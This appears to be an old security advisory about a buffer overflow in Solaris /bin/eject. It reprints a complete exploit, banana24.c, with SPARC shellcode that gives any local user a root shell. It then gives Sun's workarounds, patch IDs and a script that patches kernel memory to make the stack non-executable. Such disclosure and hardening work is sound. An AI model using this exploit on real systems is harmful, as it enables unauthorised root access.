COMMAND
/bin/eject
SYSTEMS AFFECTED
SunOS versions 5.3, 5.4, 5.5, 5.5_x86, 5.5.1, and 5.5.1_x86 are
vulnerable.
PROBLEM
Cristian Schipor exploited the buffer overflow hole in /bin/eject
on Solaris 2.4 who have suid exec bit and is owned by root). The
buffer overflow problem appears in an internal function
media_find(). The result is: any user can gain root shell.
His exploit for Solaris 2.4 looks a bit ugly (his words) - the
buffer is two short - but it works. argv[1] can change the
STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step
is 8). The interesting thing about this exploit it worked on
some machines where it was installed some stuff to make inofensiv
buffer overflows exploits ...
------------------------- banana24.c -----------------------------
/* For Solaris 2.4 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 264
#define EXTRA 36
#define STACK_OFFSET 8
#define SPARC_NOP 0xc013a61c
u_char sparc_shellcode[] =
"\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0"/*\x20\x08"*/
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/eject", "eject", & buf,(char *) 0);
perror("execl failed");
}
----------------------- end of banana24.c ------------------------
SOLUTION
Sun recommends, as a workaround, that setuid permission be
removed from the eject and fdformat programs by using commands
such as the following:
chmod 555 /usr/bin/eject
The same vulnerabilities have been fixed in the upcoming release
of Solaris 2.6. The vulnerabilities relating to eject in the
volume management library are fixed by the following patches:
OS version Patch ID
---------- --------
SunOS 5.5.1 104776-01
SunOS 5.5.1_x86 104777-01
SunOS 5.5 103024-02
SunOS 5.5_x86 103044-02
SunOS 5.4 101907-14
SunOS 5.4_x86 101908-14
SunOS 5.3 101331-07
To prevent /bin/eject exploit, you have to get out suid-exec bit
from /bin/eject (that's very simple) and compile a little program
like:
main()
{execl("/bin/eject","eject","floppy",(char *)0);}
That allows your work station ordinary users to eject floppy
(thats the main task for eject). It appears that if you're running
Volume Management (vold), that eject doesn't need to be set-UID
anyway.
But for thsoe srunnign SPARCs (non-sun4/sun4c) there's always:
#!/bin/sh
#
# Protect SPARC stack against unwanted exec access
# Side effect: growth in data segment also loses exec bit.
# This may break some programs.
#
# Install as:
# /etc/init.d/protect_stack
# ln /etc/init.d/protect_stack /etc/rc2.d/S07protect_stack
#
# And all programs except init are protected after the next reboot.
#
# After installing the scripts, first test with:
#
# /etc/init.d/protect_stack start
#
# Then start a new shell and test changes with /usr/proc/bin/pmap.
#
# csh -fi
# % pmap $$
# ......
# 00047000 56K read/write - instead of rwx
# 0004D000 32K [ heap ]
# ......
# EFFFC000 8K read/write - instead of rwx
# EFFFC000 16K [ stack ]
# EFFFE000 8K read/write
#
#
# Seems to work on 2.4/2.5/2.5.1 but this may vary by patchlevel.
# Not all Sun MMUs support this, but it seems to haev effect on sun4m and
# sun4u, probably won't have an effect on sun4c.
#
# The assembly checking may need tweaking depending on OS level and
# patchlevel.
#
# Casper Dik (Casper.Dik@Holland.Sun.COM)
#
# The contents of this file are intended to be read as
# an example. This is not a supported product of Sun
# Microsystems and no hotline calls will be accepted
# which directly relate to this information.
#
# NO LIABILITY WILL BE ACCEPTED BY SUN MICROSYSTEMS FOR
# ANY LOSS (DIRECT OR CONSEQUENTIAL) INCURRED IN ANY WAY
# BY ANY PARTY THROUGH THE USE OF THIS INFORMATION.
#
# NO WARRANTY OF ANY SORT IS IMPLIED OR GIVEN FOR ANY
# CODE DERIVED FROM THIS INFORMATION.
PATH=/usr/bin:$PATH
#
#
# Set/get values using adb.
#
getvalue ()
{
echo $1/$2 | adb -k /dev/ksyms /dev/mem | awk "\"$1:\""' == $1 {print $2}'
}
setvalue ()
{
echo $1/$2$3 | adb -wk /dev/ksyms /dev/mem >/dev/null 2>&1
}
#
# Check whether setting/unsetting is not dangerous.
#
check ()
{
map=`getvalue $mapaddr X`
zfod=`getvalue $zfodaddr x`
if [ "$map" = "$oldmap" -a "$zfod" = "$oldzfod" ]
then
old=true;
else
old=false
fi
if [ "$map" = "$newmap" -a "$zfod" = "$newzfod" ]
then
new=true
else
new=false
fi
}
p=`basename $0`
zfodaddr=zfod_segvn_crargs+0xd
case "`uname -p`" in
sparc)
#
# Instruction should at $mapaddr should be: mov 0xf,%reg or mov 0xb,%reg
# this is a synthetic instruction that encodes as or %g0,0xf,$reg
# 10rr rrr0 0001 0000 0010 0000 0000 1x11
#
# Try and find it at several locations. Addresses must be specified
# the way adb prints them.
#
for mapaddr in map_hunk+8 map_hunk+0xc
do
mapval=`getvalue $mapaddr X`
case $mapval in
[9ab][02468ace]10200[bf])
reg=`expr $mapval : '\(..\)'`
break;;
esac
done
if [ -z "$reg" ]
then
echo "${p}: Instruction doesn't match" 1>&2
exit 1
fi
echo "${p}: Instruction prefix set to $reg ($mapval@$mapaddr)"
oldmap=${reg}10200f
newmap=${reg}10200b
oldzfod=f0f
newzfod=b0f
;;
i386)
# Try and find it at several locations. Addresses must be specified
# the way adb prints them.
#
for mapaddr in map_hunk+0x19
do
mapval=`getvalue $mapaddr X`
case $mapval in
[bf]f545c6)
reg=true
break;;
esac
done
if [ -z "$reg" ]
then
echo "${p}: Instruction doesn't match" 1>&2
exit
fi
oldmap=ff545c6
newmap=bf545c6
oldzfod=f0f
newzfod=f0b
;;
*)
echo "Unknown kernel arch"
exit 1
;;
esac
case "$1" in
start)
check
if $new
then
echo "${p}: Stack already protected" 1>&2
exit 0
fi
if $old
then
setvalue $mapaddr W $newmap
setvalue $zfodaddr w $newzfod
echo "${p}: Stack protected"
else
echo "${p}: Kernel value mismatch $map != $oldmap or $zfod != $oldzfod" 1>&2
exit 1
fi
;;
stop)
check
if $old
then
echo "${p}: Stack already unprotected" 1>&2
exit 0
fi
if $new
then
setvalue $mapaddr W $oldmap
setvalue $zfodaddr w $oldzfod
echo "${p}: Stack no longer protected"
else
echo "${p}: Kernel value mismatch $map != $newmap or $zfod != $newzfod" 1>&2
exit 1
fi
;;
*)
echo "Usage: ${p} [start|stop]" 1>&2
exit 1;;
esac